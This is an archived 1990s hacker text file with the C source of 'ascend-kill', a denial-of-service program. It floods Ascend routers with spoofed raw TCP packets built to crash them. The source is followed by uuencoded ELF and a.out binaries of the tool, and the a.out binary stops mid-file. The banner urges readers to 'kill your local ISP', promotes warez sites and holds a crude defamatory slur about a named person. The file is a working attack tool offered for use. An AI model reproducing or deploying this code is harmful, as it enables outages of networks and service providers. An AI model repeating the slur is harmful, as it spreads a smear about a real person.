home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Hacking & Misc / bundle of exploits.sit / bundle of exploits / ascend.txt < prev    next >
Text File  |  1998-07-17  |  29KB  |  637 lines

  1. (---------------------- ascend-kill.c  Start -------------------------------)
  2. /*
  3.         The Posse Brings you:
  4.  
  5.                  The Linux Ascend Kill Program!
  6.  
  7.               Kill your local ISP (or even non-local)
  8.  
  9. 313373133731337313373133731337313373133731337313373133731337313373133731337
  10. 1                                                                         3
  11. 3                                                                         1
  12. 3 Because Ascend has such a strong programming department that would      3
  13. 7 never under any circumstances release a version of their code which     3
  14. 3 contained a bug.                                                        7
  15. 1                                                                         3
  16. 3 Well.  Ascend did it again.  Those pesky non zero length tcp offset's   1
  17. 3 do it everytime!  Are those fault lights available in christmas colors  3
  18. 7 in time for the season? h0h0h0..                                        3
  19. 3                                                                         7
  20. 1 BTW, if anyone has any pictures of MSN pops, please post them to        3
  21. 3 someplace public so we can all share in the season spirit.              1
  22. 3                                                                         3
  23. 7 - The Posse is back!                                                    3
  24. 3                                                                         7
  25. 1 greetz to : alpha bits, the grave digger, and fast freddy.              3
  26. 3                                                                         1
  27. 3 Goto our eleet ftp sitez:                                               3
  28. 7                                                                         3
  29. 3                                                                         7
  30. 1 The Dark Dungeon    198.34.1xx.xxx 600 gigz online!                     3
  31. 3 Strobe Room         34.101.1xx.xxx 1TB of Warez and H/P/V/A/C/K text    1
  32. 3                                                                         3
  33. 731337313373133731337313373133731337313373133731337313373133731337313373133
  34. 3                                                                         7
  35. 1     2600.com is run off vnetmax.villagenet.com (205.136.35.3)           3
  36. 3   Keep your support of 2600, help Emmanuel play with his little boys    1
  37. 3                                                                         3
  38. 731337313373133731337313373133731337313373133731337313373133731337313373133                                                                         3
  39.  
  40. */
  41.  
  42. #include <stdio.h>
  43. #include <stdlib.h>
  44. #include <string.h>
  45. #include <unistd.h>
  46. #include <sys/types.h>
  47. #include <sys/socket.h>
  48. #include <netinet/in.h>
  49. #include <netinet/in_systm.h>
  50. #include <netinet/ip.h>
  51. #include <netinet/ip_tcp.h>
  52. #include <netinet/protocols.h>
  53. #include <netdb.h>
  54.  
  55. unsigned short compute_tcp_checksum(struct tcphdr *th, int len,
  56.           unsigned long saddr, unsigned long daddr)
  57. {
  58.         unsigned long sum;
  59.         __asm__("
  60.             addl %%ecx, %%ebx
  61.             adcl %%edx, %%ebx
  62.             adcl $0, %%ebx
  63.             "
  64.         : "=b"(sum)
  65.         : "0"(daddr), "c"(saddr), "d"((ntohs(len) << 16) + IPPROTO_TCP*256)
  66.         : "bx", "cx", "dx" );
  67.         __asm__("
  68.             movl %%ecx, %%edx
  69.             cld
  70.             cmpl $32, %%ecx
  71.             jb 2f
  72.             shrl $5, %%ecx
  73.             clc
  74. 1:          lodsl
  75.             adcl %%eax, %%ebx
  76.             lodsl
  77.             adcl %%eax, %%ebx
  78.             lodsl
  79.             adcl %%eax, %%ebx
  80.             lodsl
  81.             adcl %%eax, %%ebx
  82.             lodsl
  83.             adcl %%eax, %%ebx
  84.             lodsl
  85.             adcl %%eax, %%ebx
  86.             lodsl
  87.             adcl %%eax, %%ebx
  88.             lodsl
  89.             adcl %%eax, %%ebx
  90.             loop 1b
  91.             adcl $0, %%ebx
  92.             movl %%edx, %%ecx
  93. 2:          andl $28, %%ecx
  94.             je 4f
  95.             shrl $2, %%ecx
  96.             clc
  97. 3:          lodsl
  98.             adcl %%eax, %%ebx
  99.             loop 3b
  100.             adcl $0, %%ebx
  101. 4:          movl $0, %%eax
  102.             testw $2, %%dx
  103.             je 5f
  104.             lodsw
  105.             addl %%eax, %%ebx
  106.             adcl $0, %%ebx
  107.             movw $0, %%ax
  108. 5:          test $1, %%edx
  109.             je 6f
  110.             lodsb
  111.             addl %%eax, %%ebx
  112.             adcl $0, %%ebx
  113. 6:          movl %%ebx, %%eax
  114.             shrl $16, %%eax
  115.             addw %%ax, %%bx
  116.             adcw $0, %%bx
  117.             "
  118.         : "=b"(sum)
  119.         : "0"(sum), "c"(len), "S"(th)
  120.         : "ax", "bx", "cx", "dx", "si" );
  121.         return((~sum) & 0xffff);
  122. }
  123.  
  124. #define psize ( sizeof(struct iphdr) + sizeof(struct tcphdr)  )
  125. #define tcp_offset  ( sizeof(struct iphdr) )
  126. #define err(x) { fprintf(stderr, x); exit(1); }
  127. #define errors(x, y) { fprintf(stderr, x, y); exit(1); }
  128. struct iphdr temp_ip;
  129. int temp_socket = 0;
  130.  
  131. u_short
  132. ip_checksum (u_short * buf, int nwords)
  133. {
  134.   unsigned long sum;
  135.  
  136.   for (sum = 0; nwords > 0; nwords--)
  137.     sum += *buf++;
  138.   sum = (sum >> 16) + (sum & 0xffff);
  139.   sum += (sum >> 16);
  140.   return ~sum;
  141. }
  142.  
  143. void
  144. fixhost (struct sockaddr_in *addr, char *hostname)
  145. {
  146.   struct sockaddr_in *address;
  147.   struct hostent *host;
  148.  
  149.   address = (struct sockaddr_in *) addr;
  150.   (void) bzero ((char *) address, sizeof (struct sockaddr_in));
  151.   address->sin_family = AF_INET;
  152.   address->sin_addr.s_addr = inet_addr (hostname);
  153.   if ((int) address->sin_addr.s_addr == -1)
  154.     {
  155.       host = gethostbyname (hostname);
  156.       if (host)
  157.         {
  158.           bcopy (host->h_addr, (char *) &address->sin_addr,
  159.                  host->h_length);
  160.         }
  161.       else
  162.         {
  163.           puts ("Couldn't resolve address!!!");
  164.           exit (-1);
  165.         }
  166.     }
  167. }
  168.  
  169. unsigned int
  170. lookup (host)
  171.      char *host;
  172. {
  173.   unsigned int addr;
  174.   struct hostent *he;
  175.  
  176.   addr = inet_addr (host);
  177.   if (addr == -1)
  178.     {
  179.       he = gethostbyname (host);
  180.       if ((he == NULL) || (he->h_name == NULL) || (he->h_addr_list == NULL))
  181.         return 0;
  182.  
  183.       bcopy (*(he->h_addr_list), &(addr), sizeof (he->h_addr_list));
  184.     }
  185.   return (addr);
  186. }
  187.  
  188. unsigned short
  189. lookup_port (p)
  190.      char *p;
  191. {
  192.   int i;
  193.   struct servent *s;
  194.  
  195.   if ((i = atoi (p)) == 0)
  196.     {
  197.       if ((s = getservbyname (p, "tcp")) == NULL)
  198.         errors ("Unknown port %s\n", p);
  199.       i = ntohs (s->s_port);
  200.     }
  201.   return ((unsigned short) i);
  202. }
  203.  
  204. void
  205. spoof_packet (struct sockaddr_in local, int fromport, \
  206.            struct sockaddr_in remote, int toport, ulong sequence, \
  207.            int sock, u_char theflag, ulong acknum, \
  208.            char *packdata, int datalen)
  209. {
  210.   char *packet;
  211.   int tempint;
  212.   if (datalen > 0)
  213.     datalen++;
  214.   packet = (char *) malloc (psize + datalen);
  215.   tempint = toport;
  216.   toport = fromport;
  217.   fromport = tempint;
  218.   {
  219.     struct tcphdr *fake_tcp;
  220.     fake_tcp = (struct tcphdr *) (packet + tcp_offset);
  221.     fake_tcp->th_dport = htons (fromport);
  222.     fake_tcp->th_sport = htons (toport);
  223.     fake_tcp->th_flags = theflag;
  224.     fake_tcp->th_seq = random ();
  225.     fake_tcp->th_ack = random ();
  226.     /* this is what really matters, however we randomize everything else
  227.        to prevent simple rule based filters */
  228.     fake_tcp->th_off = random ();
  229.     fake_tcp->th_win = random ();
  230.     fake_tcp->th_urp = random ();
  231.   }
  232.   if (datalen > 0)
  233.     {
  234.       char *tempbuf;
  235.       tempbuf = (char *) (packet + tcp_offset + sizeof (struct tcphdr));
  236.       for (tempint = 0; tempint < datalen - 1; tempint++)
  237.         {
  238.           *tempbuf = *packdata;
  239.           *tempbuf++;
  240.           *packdata++;
  241.         }
  242.       *tempbuf = '\r';
  243.     }
  244.   {
  245.     struct iphdr *real_ip;
  246.     real_ip = (struct iphdr *) packet;
  247.     real_ip->version = 4;
  248.     real_ip->ihl = 5;
  249.     real_ip->tot_len = htons (psize + datalen);
  250.     real_ip->tos = 0;
  251.     real_ip->ttl = 64;
  252.     real_ip->protocol = 6;
  253.     real_ip->check = 0;
  254.     real_ip->id = 10786;
  255.     real_ip->frag_off = 0;
  256.     bcopy ((char *) &local.sin_addr, &real_ip->daddr, sizeof (real_ip->daddr));
  257.     bcopy ((char *) &remote.sin_addr, &real_ip->saddr, sizeof (real_ip->saddr));
  258.     temp_ip.saddr = htonl (ntohl (real_ip->daddr));
  259.     real_ip->daddr = htonl (ntohl (real_ip->saddr));
  260.     real_ip->saddr = temp_ip.saddr;
  261.     real_ip->check = ip_checksum ((u_short *) packet, sizeof (struct iphdr) >> 1);
  262.     {
  263.       struct tcphdr *another_tcp;
  264.       another_tcp = (struct tcphdr *) (packet + tcp_offset);
  265.       another_tcp->th_sum = 0;
  266.       another_tcp->th_sum = compute_tcp_checksum (another_tcp, sizeof (struct tcphdr) + datalen,
  267.                                        real_ip->saddr, real_ip->daddr);
  268.     }
  269.   }
  270.   {
  271.     int result;
  272.     sock = (int) temp_socket;
  273.     result = sendto (sock, packet, psize + datalen, 0,
  274.                      (struct sockaddr *) &remote, sizeof (remote));
  275.   }
  276.   free (packet);
  277. }
  278.  
  279. void
  280. main (argc, argv)
  281.      int argc;
  282.      char **argv;
  283. {
  284.   unsigned int daddr;
  285.   unsigned short dport;
  286.   struct sockaddr_in sin;
  287.   int s, i;
  288.   struct sockaddr_in local, remote;
  289.   u_long start_seq = 4935835 + getpid ();
  290.  
  291.   if (argc != 3)
  292.     errors ("Usage: %s <dest_addr> <dest_port>\n\nDest port of 23 for Ascend units.\n",
  293.           argv[0]);
  294.  
  295.   if ((s = socket (AF_INET, SOCK_RAW, IPPROTO_RAW)) == -1)
  296.     err ("Unable to open raw socket.\n");
  297.   if ((temp_socket = socket (AF_INET, SOCK_RAW, IPPROTO_RAW)) == -1)
  298.     err ("Unable to open raw socket.\n");
  299.   if (!(daddr = lookup (argv[1])))
  300.     err ("Unable to lookup destination address.\n");
  301.   dport = lookup_port (argv[2]);
  302.   sin.sin_family = AF_INET;
  303.   sin.sin_addr.s_addr = daddr;
  304.   sin.sin_port = dport;
  305.   fixhost ((struct sockaddr_in *)(struct sockaddr *) &local, argv[1]);
  306.   fixhost ((struct sockaddr_in *)(struct sockaddr *) &remote, argv[1]);
  307.   /* 500 seems to be enough to kill it */
  308.   for (i = 0; i < 500; i++)
  309.     {
  310.       start_seq++;
  311.       local.sin_addr.s_addr = random ();
  312.       spoof_packet (local, random (), remote, dport, start_seq, (int) s,
  313.         TH_SYN | TH_RST | TH_ACK, 0, NULL, 0);
  314.     }
  315. }
  316.  
  317. (---------------------- ascend-kill.c  End -------------------------------)
  318.  
  319. (------------------ ascend-kill bin for ELF Start ------------------------)
  320. begin 755 ascend-kill.elf
  321. M?T5,1@$!`0````````````(``P`!````H`8`"#0```"D$0```````#0`(``%
  322. M`"@`%``3``8````T````-```"#0```B@````H`````4````$`````P```-0`
  323. M``#4```(U```"!,````3````!`````$````!``````````````@````(T@\`
  324. M`-(/```'`````!````$```#8#P``V!\`"-@?``CT````9`$```8`````$```
  325. M`@```$00``!$(``(1"``"(@```"(````!@````0````O;&EB+VQD+6QI;G5X
  326. M+G-O+C$``!$````?````$@```!P````7``````````\````1````$P``````
  327. M```4````"P```!4````9````&@```!@````.````%@``````````````````
  328. M```````;```````````````#````````````````````!```````````````
  329. M"@````4````&````````````````````#0````D````'``````````@````>
  330. M````'0`````````!````$`````(````,``````````````````````````L`
  331. M``!$(``(`````!$`\?\4````>`4`"*H````2````'0```(@%``AL!```$@``
  332. M`"\```"8!0`(`````"(````V````T"``"%0````1`!$`0@```*@%``@`````
  333. M(@```$<```"X!0`(`````"(```!.````R`4`"%@````B````50```-@?``@$
  334. M````$0`,`%\```#8!0`(-@```!(```!E````8`4`"``````2``<`:P```.@%
  335. M``A&````$@```'<```#8'P`(!````"``#`!_````^`4`"``````B````AP``
  336. M``@&``@Y````$@```)$````D(0`(`@```!$`$0"?````&`8`"'8````B````
  337. MI@```"@&``B2````$@```*P````X!@`()`$``!(```"Z````$`\`"``````2
  338. M``H`P````$@&``A1`0``$@```,X```!8!@`(-````!(```#5````\!\`"```
  339. M```1`/'_ZP```&@&``B`````$@```/````!X!@`(/@```!(```#[````B`8`
  340. M"``````B``````$```0/``@`````$0#Q_P<!``#,(``(`````!$`\?\.`0``
  341. MS"``"``````1`/'_&@$``#PA``@`````$0#Q_P!L:6)C+G-O+C4`7T193D%-
  342. M24,`7U]R86YD;VT`7U]S=')T;VQ?:6YT97)N86P`9V5T<&ED`%])3U]S=&1E
  343. M<G)?`'!U=',`;6%L;&]C`'-O8VME=`!?7V5N=FER;VX`8GIE<F\`7VEN:70`
  344. M7U]L:6)C7VEN:70`96YV:7)O;@!F<')I;G1F`&EN971?861D<@!?7V9P=5]C
  345. M;VYT<F]L`'-E;F1T;P!B8V]P>0!G971H;W-T8GEN86UE`%]F:6YI`&=E='-E
  346. M<G9B>6YA;64`871E>&ET`%]'3$]"04Q?3T9&4T547U1!0DQ%7P!E>&ET`%]?
  347. M<V5T9G!U8W<`9G)E90!?971E>'0`7V5D871A`%]?8G-S7W-T87)T`%]E;F0`
  348. M`-`@``@%!0``)"$`"`40``#\'P`(!P(````@``@'`P``!"``"`<$```((``(
  349. M!P8```P@``@'!P``$"``"`<(```4(``(!PH``!@@``@'#```'"``"`<.```@
  350. M(``(!P\``"0@``@'$0``*"``"`<2```L(``(!Q,``#`@``@'%0``-"``"`<6
  351. M```X(``(!Q@``#P@``@'&0``0"``"`<:``#H>PD``,(``/\U]!\`"/\E^!\`
  352. M"`````#_)?P?``AH`````.G@_____R4`(``(:`@```#IT/____\E!"``"&@0
  353. M````Z<#_____)0@@``AH&````.FP_____R4,(``(:"````#IH/____\E$"``
  354. M"&@H````Z9#_____)10@``AH,````.F`_____R48(``(:#@```#I</____\E
  355. M'"``"&A`````Z6#_____)2`@``AH2````.E0_____R4D(``(:%````#I0/__
  356. M__\E*"``"&A8````Z3#_____)2P@``AH8````.D@_____R4P(``(:&@```#I
  357. M$/____\E-"``"&AP````Z0#_____)3@@``AH>````.GP_O___R4\(``(:(``
  358. M``#IX/[___\E0"``"&B(````Z=#^__\``````````%F)XXG@B<H!T@'2`="#
  359. MP`0Q[55558GE4%-1N(@```"[`````,V`BT0D"*/8'P`(#[<%)"$`"%#HG/__
  360. M_X/$!.@$____:!`/``CH:O___X/$!.AJ_O__Z!4%``!0Z&?___];C;0F````
  361. M`(VT)@````"X`0```,V`Z_>-M"8`````4[OL'P`(@SWL'P`(`'0-D(L#_]"#
  362. MPP2#.P!U]%O#C3;#D)"0D)"0D)"0D)"0D)"058GE5U939HM%#(;$P>`0!0`&
  363. M``"+712+31")P@'+$=.#TP"+30R+=0B)ROR#^2!R(\'I!?BM$<.M$<.M$<.M
  364. M$<.M$<.M$<.M$<.M$</BYH/3`(G1@^$<=`S!Z0+XK1'#XON#TP"X`````&;W
  365. MP@(`=`MFK0'#@],`9K@``/?"`0```'0&K`'#@],`B=C!Z!!F`<-F@],`B=^)
  366. M^&;WT"7__P``C67T6UY?B>Q=PXUT)@!5B>53BUT(BU4,,<F%TGX-#[<#`<&#
  367. MPP)*A=)_\XG*P>H0#[?!C0P0B<C!Z!`!P8G(9O?0)?__``"+7?R)[%W#58GE
  368. M5E.+70B+=0QJ$%/HA?W__V;'`P(`5NBJ_?__B4,$@\0,@_C_=4=6Z,G]__^)
  369. MPH/$!(72=!B+0@Q0C4,$4(M"$(L`4.B=_?__ZR.-=@!H&`\`".@._?__:O_H
  370. MQ_W__^L-D)"0D)"0D)"0D)"0D(UE^%M>B>Q=PXVT)@````!5B>6#[`13BUT(
  371. M4^@X_?__B47\@\0$@_C_=3-3Z%?]__^#Q`2%P'0,@S@`=`>+4!"%TG4,,<#K
  372. M&9"-M"8`````:@2-1?Q0BP)0Z!K]__^+1?R+7?B)[%W#D(VT)@````!5B>53
  373. MBUT(:@!J"FH`4^A5_/__@\00A<!U06@T#P`(4^@#_?__@\0(A<!U)%-H.`\`
  374. M"&C0(``(Z)S\__]J`>@%_?__C;8`````C;0F`````&:+0`B&Q"7__P``)?__
  375. M``"+7?R)[%W#C3:-M"8`````58GE@^P@5U93BWTLBE4XB%7\@WU$`'X#_T5$
  376. MBT5$@\`H4.@!_/__B47X@\0$B?B&Q(M-^&:)019FBT48AL1FB4$4BEW\B%DA
  377. MZ)O[__^+=?B)1ACHD/O__XE&'.B(^___P.`$B$7LBD8@)`\*1>R(1B#H<OO_
  378. M_V:)1B+H:?O__V:)1B:#?40`?C&#QBB)=>@Q_XM51$J)5>0YUWT8BTU`B@&+
  379. M7>B(`T.)7>A!B4U`1SE]Y'_HBW7HQ@8-BU7XB57@Q@)%9HM%1&:#P"B&Q&:)
  380. M0@+&0@$`QD((0,9""09FQT(*``!FQT($(BIFQT(&``!J!(M%^(/`$%"-10Q0
  381. MZ)?[__]J!(M%^(/`#%"-12!0Z(7[__^#Q!B+3?B+01"&Q,'($(;$AL3!R!"&
  382. MQ*,T(0`(BT$,AL3!R!"&Q(;$P<@0AL2)01"A-"$`"(E!#(E-Y+\*````QT7H
  383. M`````(TVBUWD#[<#`47H@\,"B5WD3X7_?^R+=>C![A`/MT7H`?")1>C!Z!`!
  384. M1>AFBTWH9O?1BU7@9HE*"HM=^(/#%(E=](MU^&;'1B0``(M51(/"%(E5\(M-
  385. MX(MY#(M9$&:+1?"&Q,'@$`4`!@``B?F)P@'+$=.#TP"+3?"+=?2)ROR#^2!R
  386. M(\'I!?BM$<.M$<.M$<.M$<.M$<.M$<.M$<.M$</BYH/3`(G1@^$<=`S!Z0+X
  387. MK1'#XON#TP"X`````&;WP@(`=`MFK0'#@],`9K@``/?"`0```'0&K`'#@],`
  388. MB=C!Z!!F`<-F@],`B=]F]]>+5?AFB7HDBPW<'P`(:A"-11Q0:@"+142#P"A0
  389. M4E'H'?K__XM=^%/HA/K__XUEU%M>7XGL7<.--E6)Y8/L/%=64XM=".AW^?__
  390. M!9M02P")1<2#^P-T(HM-#(L!4&A)#P`(:-`@``CHM?G__VH!Z![Z__^-M@``
  391. M``!H_P```&H#:@+H:OG__XE%R(/$#(/X_W47:(\/``AHT"``".B`^?__:@'H
  392. MZ?G__Y!H_P```&H#:@+H.OG__Z/<'P`(@\0,@_C_=25HCP\`"&C0(``(Z$[Y
  393. M__]J`>BW^?__ZPV0D)"0D)"0D)"0D)"0BTT,BUD$4^@\^?__B47,@\0$@_C_
  394. M=2I3Z%OY__^#Q`2%P'0D@S@`=!^+4!"%TG08:@2-1<Q0BP)0Z"KY__^#Q`R+
  395. M=<R%]G48:*L/``AHT"``".CA^/__:@'H2OG__XTVBTT,BUD(:@!J"FH`4^A6
  396. M^/__@\00A<!U0F@T#P`(4^@$^?__@\0(A<!U)5-H.`\`"&C0(``(Z)WX__]J
  397. M`>@&^?__C;0F`````(VT)@````!FBT`(AL0E__\``(G'9L=%\`(`B77T9HE]
  398. M\HM-#(M9!(U%X&H04.@]^/__9L=%X`(`4^AA^/__B47D@\0,@_C_=4Y3Z(#X
  399. M__^)PH/$!(72=!^+0@Q0C47D4(M"$(L`4.A4^/__@\0,ZR>-M"8`````:!@/
  400. M``CHOO?__VK_Z'?X___K#9"0D)"0D)"0D)"0D)"+30R+602-1=!J$%#HQ_?_
  401. M_V;'1=`"`%/HZ_?__XE%U(/$#(/X_W5(4^@*^/__B<*#Q`2%TG09BT(,4(U%
  402. MU%"+0A"+`%#HWO?__X/$#.LAD&@8#P`(Z$[W__]J_^@'^/__ZPV0D)"0D)"0
  403. MD)"0D)"0,=N--O]%Q.C\]O__B47D:@!J`&H`:A:+3<A1BTW$40^WQU"+1=Q0
  404. MBT784(M%U%"+1=!0Z-#V__]0BT7L4(M%Z%"+1>10BT7@4.C2^O__@\1`0X'[
  405. M\P$``'ZJC66X6UY?B>Q=PY"0D)"0D)"0D)"0D%.[X!\`"(,]X!\`"/]T#9"+
  406. M`__0@\/\@SO_=?1;PXTVPY"0D````````````````.@+^/__P@``0V]U;&1N
  407. M)W0@<F5S;VQV92!A9&1R97-S(2$A`'1C<`!5;FMN;W=N('!O<G0@)7,*`%5S
  408. M86=E.B`E<R`\9&5S=%]A9&1R/B`\9&5S=%]P;W)T/@H*1&5S="!P;W)T(&]F
  409. M(#(S(&9O<B!!<V-E;F0@=6YI=',N"@!5;F%B;&4@=&\@;W!E;B!R87<@<V]C
  410. M:V5T+@H`56YA8FQE('1O(&QO;VMU<"!D97-T:6YA=&EO;B!A9&1R97-S+@H`
  411. M``````````````````#_____`````/____\`````1"``"```````````?@4`
  412. M"(X%``B>!0`(K@4`"+X%``C.!0`(W@4`".X%``C^!0`(#@8`"!X&``@N!@`(
  413. M/@8`"$X&``A>!@`(;@8`"'X&``B.!@`(`0````$````,````8`4`"`T````0
  414. M#P`(!````.@```@%````H`,`"`8```"P`0`("@```!\!```+````$````!4`
  415. M`````````P```/`?``@"````D````!0````1````%P```-`$``@1````P`0`
  416. M"!(````0````$P````@```````````````!'0T,Z("A'3E4I(#(N-RXR+FPN
  417. M,P``1T-#.B`H1TY5*2`R+C<N,@``1T-#.B`H1TY5*2`R+C<N,BYL+C,``"YS
  418. M>6UT86(`+G-T<G1A8@`N<VAS=')T86(`+FEN=&5R<``N:&%S:``N9'EN<WEM
  419. M`"YD>6YS='(`+G)E;"YB<W,`+G)E;"YP;'0`+FEN:70`+G!L=``N=&5X=``N
  420. M9FEN:0`N<F]D871A`"YD871A`"YC=&]R<P`N9'1O<G,`+F=O=``N9'EN86UI
  421. M8P`N8G-S`"YC;VUM96YT````````````````````````````````````````
  422. M```````````````;`````0````(```#4```(U````!,```````````````$`
  423. M````````(P````4````"````Z```".@```#(`````P`````````$````!```
  424. M`"D````+`````@```+`!``BP`0``\`$```0````!````!````!`````Q````
  425. M`P````(```"@`P`(H`,``!\!``````````````$`````````.0````D````"
  426. M````P`0`",`$```0`````P```!$````$````"````$(````)`````@```-`$
  427. M``C0!```D`````,````(````!`````@```!+`````0````8```!@!0`(8`4`
  428. M``@``````````````!``````````40````$````'````:`4`"&@%```P`0``
  429. M```````````$````!````%8````!````!@```*`&``B@!@``9`@`````````
  430. M````$`````````!<`````0````8````0#P`($`\```@``````````````!``
  431. M````````8@````$````"````&`\`"!@/``"Z```````````````!````````
  432. M`&H````!`````P```-@?``C8#P``"```````````````!`````````!P````
  433. M`0````,```#@'P`(X`\```@```````````````0`````````=P````$````#
  434. M````Z!\`".@/```(```````````````$`````````'X````!`````P```/`?
  435. M``CP#P``5```````````````!`````0```"#````!@````,```!$(``(1!``
  436. M`(@````$``````````0````(````C`````@````#````S"``",P0``!P````
  437. M```````````(`````````)$````!``````````````#,$```/@``````````
  438. M`````0`````````1`````P``````````````"A$``)H```````````````$`
  439. &````````
  440. `
  441. end
  442.  
  443. (------------------ ascend-kill bin for ELF End ------------------------)
  444.  
  445. (----------------- ascend-kill bin for aout Start ----------------------)
  446.  
  447. begin 755 ascend-kill.aout
  448. MS`!D```0````$``````````````@$`````````````#H<PH``+@M````NP``
  449. M``#-@*-<"PE@BT0D"*,T"PE@#[<%&"```%#H?`L``(/$!.BT"P``Z)L%``!0
  450. MZ''S_U];N`$```#-@.OWD)"0D)"0D`"0D)!5B>575E-FBT4,AL3!X!`%``8`
  451. M`(M=%(M-$(G"`<L1TX/3`(M-#(MU"(G*_(/Y('(CP>D%^*T1PZT1PZT1PZT1
  452. MPZT1PZT1PZT1PZT1P^+F@],`B=QT#,'I`OBM$</B^X/3`+@`````9O?"
  453. M`@!T"V:M`<.#TP!FN```]\(!````=`:L`<.#TP")V,'H$&8!PV:#TP")WXGX
  454. M9O?0)?__``"-9?1;7E^)[%W#C70F`%6)Y5.+70B+50PQR872?@T/MP,!P8/#
  455. M`DJ%TG_SB<K!ZA`/M\&-#!")R,'H$`'!B<AF]]`E__\``(M=_(GL7<-#;W5L
  456. M9&XG="!R97-O;'9E(&%D9')E<W,A(2$`C70F`%6)Y593BUT(BW4,:A!3Z%'P
  457. M_U]FQP,"`%;HKO7_7XE#!(/$#(/X_W5'5N@-]/]?B<*#Q`2%TG08BT(,4(U#
  458. M!%"+0A"+`%#H\>__7^LCC78`:&01``#H:OC_7VK_Z.OQ_U_K#9"0D)"0D)"0
  459. MD)"0D)"-9?A;7HGL7<.-M"8`````58GE@^P$4XM="%/H//7_7XE%_(/$!(/X
  460. M_W4S4^B;\_]?@\0$A<!T#(,X`'0'BU`0A=)U##'`ZQF0C;0F`````&H$C47\
  461. M4(L"4.AN[_]?BT7\BUWXB>Q=PW1C<`!5;FMN;W=N('!O<G0@)7,*`(UV`%6)
  462. MY5.+70AJ"FH`4^@C_/]?@\0,A<!U0VA<$@``4^@)]/]?@\0(A<!U)E-H8!(`
  463. M`&C4!PE@Z-KQ_U]J`>@;\?]?ZPV0D)"0D)"0D)"0D)"09HM`"(;$)?__```E
  464. M__\``(M=_(GL7<.--HVT)@````!5B>6#["!75E.+?2R*53B(5?R#?40`?@/_
  465. M142+142#P"A0Z(WU_U^)1?B#Q`2)^(;$BTWX9HE!%F:+11B&Q&:)012*7?R(
  466. M62'H?^W_7XMU^(E&&.AT[?]?B48<Z&SM_U_`X`2(1>R*1B`D#PI%[(A&(.A6
  467. M[?]?9HE&(NA-[?]?9HE&)H-]1`!^,8/&*(EUZ#'_BU5$2HE5Y#G7?1B+34"*
  468. M`8M=Z(@#0XE=Z$&)34!'.7WD?^B+=>C&!@V+5?B)5>#&`D5FBT5$9H/`*(;$
  469. M9HE"`L9"`0#&0@A`QD()!F;'0@H``&;'0@0B*F;'0@8``&H$BT7X@\`04(U%
  470. M#%#HV^W_7VH$BT7X@\`,4(U%(%#HR>W_7X/$&(M-^(M!$(;$P<@0AL2&Q,'(
  471. M$(;$HX0@``"+00R&Q,'($(;$AL3!R!"&Q(E!$*&$(```B4$,B4WDOPH```#'
  472. M1>@`````C3:+7>0/MP,!1>B#PP*)7>1/A?]_[(MUZ,'N$`^W1>@!\(E%Z,'H
  473. M$`%%Z&:+3>AF]]&+5>!FB4H*BUWX@\,4B5WTBW7X9L=&)```BU5$@\(4B57P
  474. MBTW@BWD,BUD09HM%\(;$P>`0!0`&``")^8G"`<L1TX/3`(M-\(MU](G*_(/Y
  475. M('(CP>D%^*T1PZT1PZT1PZT1PZT1PZT1PZT1PZT1P^+F@],`B=QT#,'I
  476. M`OBM$</B^X/3`+@`````9O?"`@!T"V:M`<.#TP!FN```]\(!````=`:L`<.#
  477. MTP")V,'H$&8!PV:#TP")WV;WUXM5^&:)>B2+#00@``!J$(U%'%!J`(M%1(/`
  478. M*%!24>BQ]O]?BUWX4^A0[_]?C6746UY?B>Q=PU5S86=E.B`E<R`\9&5S=%]A
  479. M9&1R/B`\9&5S=%]P;W)T/@H*1&5S="!P;W)T(&]F(#(S(&9O<B!!<V-E;F0@
  480. M=6YI=',N"@!5;F%B;&4@=&\@;W!E;B!R87<@<V]C:V5T+@H`56YA8FQE('1O
  481. M(&QO;VMU<"!D97-T:6YA=&EO;B!A9&1R97-S+@H`C3:-M"8`````58GE@^P\
  482. M5U93BUT(Z!\#``#H+O#_7XVXFU!+`(/[`W0?BTT,BP%0:&(5``!HU`<)8.A>
  483. M[O]?:@'HG^W_7XUV`&C_````:@-J`NA>]_]?B47$@\0,@_C_=1=HJ!4``&C4
  484. M!PE@Z"SN_U]J`>AM[?]?D&C_````:@-J`N@N]_]?HP0@``"#Q`R#^/]U)6BH
  485. M%0``:-0'"6#H^NW_7VH!Z#OM_U_K#9"0D)"0D)"0D)"0D)"+30R+6013Z*#P
  486. M_U^)1<R#Q`2#^/]U*E/H_^[_7X/$!(7`="2#.`!T'XM0$(72=!AJ!(U%S%"+
  487. M`E#HWNK_7X/$#(MUS(7V=1AHQ!4``&C4!PE@Z(WM_U]J`>C.[/]?C3:+30R+
  488. M60AJ"FH`4^B4]_]?@\0,A<!U-&A<$@``4^AZ[_]?@\0(A<!U%U-H8!(``&C4
  489. M!PE@Z$OM_U]J`>B,[/]?9HM`"(;$)?__``!FB47(9L=%\`(`B77T9HM-R&:)
  490. M3?*+30R+602-1>!J$%#H<^K_7V;'1>`"`%/HS^__7XE%Y(/$#(/X_W5(4^@N
  491. M[O]?B<*#Q`2%TG09BT(,4(U%Y%"+0A"+`%#H$NK_7X/$#.LAD&AD$0``Z(KR
  492. M_U]J_^@+[/]?ZPV0D)"0D)"0D)"0D)"0BTT,BUD$C470:A!0Z`/J_U]FQT70
  493. M`@!3Z%_O_U^)1=2#Q`R#^/]U2%/HONW_7XG"@\0$A=)T&8M"#%"-1=10BT(0
  494. MBP!0Z*+I_U^#Q`SK(9!H9!$``.@:\O]?:O_HF^O_7^L-D)"0D)"0D)"0D)"0
  495. MD#';C39'Z&+H_U^)1>1J`&H`:@!J%HM-Q%%7#[=%R%"+1=Q0BT784(M%U%"+
  496. M1=!0Z#CH_U]0BT7L4(M%Z%"+1>10BT7@4.A6^O__@\1`0X'[\P$``'ZNC66X
  497. M6UY?B>Q=PU6)Y5.[E"```(,]E"````!T#HTVBP.#PP3_T(,[`'7TBUW\B>Q=
  498. MPXTVC;0F`````%6)Y5.A0"```(/X_W49,<"#/40@````=`Z-=@!`@SR%1"``
  499. M``!U]8G#A=MT#XUV`(L$G4`@``#_T$MU]&BD&```Z'[H_U^+7?R)[%W#C78`
  500. M58GE@SUP(````'4/QP5P(````0```.B5____B>Q=PY``````58GE4[@!````
  501. MBUT(S8"%P'T,]]BC$"```+C_____BUW\B>Q=PY"0D)"0D)"0D)"058GE4[A6
  502. M````BUT(S8"%P'T,]]BC$"```+C_____BUW\B>Q=PY"0D)"0D)"0D)"058GE
  503. M4XM-#(M5$+@$````BUT(S8"%P'T,]]BC$"```+C_____BUW\B>Q=PY"0D)"0
